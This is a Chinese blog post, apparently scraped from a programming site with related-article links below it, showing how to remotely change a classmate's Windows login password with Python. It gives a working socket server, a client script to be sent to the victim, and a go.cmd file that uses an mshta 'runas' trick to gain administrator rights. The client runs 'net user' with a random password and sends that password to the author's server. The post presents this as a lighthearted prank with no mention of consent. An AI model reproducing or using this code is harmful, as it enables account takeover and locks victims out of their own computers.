Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python zip文件 压缩
Dec 24 Python
python中使用mysql数据库详细介绍
Mar 27 Python
Python中使用Queue和Condition进行线程同步的方法
Jan 19 Python
python基础教程之分支、循环简单用法
Jun 16 Python
利用Python脚本生成sitemap.xml的实现方法
Jan 31 Python
python中使用正则表达式的后向搜索肯定模式(推荐)
Nov 11 Python
利用pyshp包给shapefile文件添加字段的实例
Dec 06 Python
python爬虫调度器用法及实例代码
Nov 30 Python
利用python制作拼图小游戏的全过程
Dec 04 Python
Python爬虫实例之2021猫眼票房字体加密反爬策略(粗略版)
Feb 22 Python
TensorFlow的自动求导原理分析
May 26 Python
python通过新建环境安装tfx的问题
May 20 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
关于Sphinx创建全文检索的索引介绍
2013/06/25 PHP
smarty模板引擎从php中获取数据的方法
2015/01/22 PHP
php打开本地exe程序,js打开本地exe应用程序,并传递相关参数方法
2018/02/06 PHP
解决php extension 加载顺序问题
2019/08/16 PHP
laravel-admin 实现在指定的相册下添加照片
2019/10/21 PHP
JavaScript中的几个关键概念的理解-原型链的构建
2011/05/12 Javascript
UI Events 用户界面事件
2012/06/27 Javascript
十个迅速提升JQuery性能让你的JQuery跑得更快
2012/12/10 Javascript
JS localStorage实现本地缓存的方法
2013/06/22 Javascript
JS去掉第一个字符和最后一个字符的实现代码
2014/02/20 Javascript
Node.js中的事件驱动编程详解
2014/08/16 Javascript
浅谈Javascript中匀速运动的停止条件
2014/12/19 Javascript
JQuery选中checkbox方法代码实例(全选、反选、全不选)
2015/04/27 Javascript
jQuery插件实现静态HTML验证码校验
2015/11/06 Javascript
Bootstrap时间选择器datetimepicker和daterangepicker使用实例解析
2016/09/17 Javascript
JS根据生日月份和日期计算星座的简单实现方法
2016/11/24 Javascript
纯JS焦点图特效实例(可一个页面多用)
2016/12/07 Javascript
js实现添加删除表格(两种方法)
2017/04/27 Javascript
原生JS实现隐藏显示图片 JS实现点击切换图片效果
2021/01/27 Javascript
Webpack优化配置缩小文件搜索范围
2017/12/25 Javascript
python之模拟鼠标键盘动作具体实现
2013/12/30 Python
python制作websocket服务器实例分享
2016/11/20 Python
python爬虫框架scrapy实战之爬取京东商城进阶篇
2017/04/24 Python
Python实现发送与接收邮件的方法详解
2018/03/28 Python
利用Python求阴影部分的面积实例代码
2018/12/05 Python
Python Opencv任意形状目标检测并绘制框图
2019/07/23 Python
Python读取csv文件实例解析
2019/12/30 Python
tensorflow实现对张量数据的切片操作方式
2020/01/19 Python
Django-xadmin+rule对象级权限的实现方式
2020/03/30 Python
canvas使用注意点总结
2013/07/19 HTML / CSS
在C语言中"指针和数组等价"到底是什么意思?
2014/03/24 面试题
大学毕业的自我鉴定
2013/10/08 职场文书
养成教育经验材料
2014/05/26 职场文书
美食节策划方案
2014/05/26 职场文书
男方婚礼答谢词
2015/01/20 职场文书
2016年公司新年寄语
2015/08/17 职场文书